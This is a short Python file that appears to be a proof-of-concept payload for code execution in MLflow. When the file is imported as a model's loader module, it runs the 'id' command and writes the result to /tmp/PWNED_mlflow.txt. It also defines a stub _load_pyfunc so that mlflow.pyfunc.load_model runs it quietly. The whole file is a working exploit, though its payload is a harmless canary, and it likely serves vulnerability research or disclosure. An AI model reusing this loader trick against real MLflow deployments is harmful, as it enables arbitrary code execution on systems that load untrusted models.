| import subprocess, pathlib | |
| out = subprocess.check_output(['id']).decode(errors='replace').strip() | |
| pathlib.Path('/tmp/PWNED_mlflow.txt').write_text('RCE via code:+loader_module import on mlflow.pyfunc.load_model\n' + out + '\n') | |
| def _load_pyfunc(path, *a, **k): | |
| class X: | |
| def load_context(self, *a, **k): pass | |
| def predict(self, *a, **k): return None | |
| return X() | |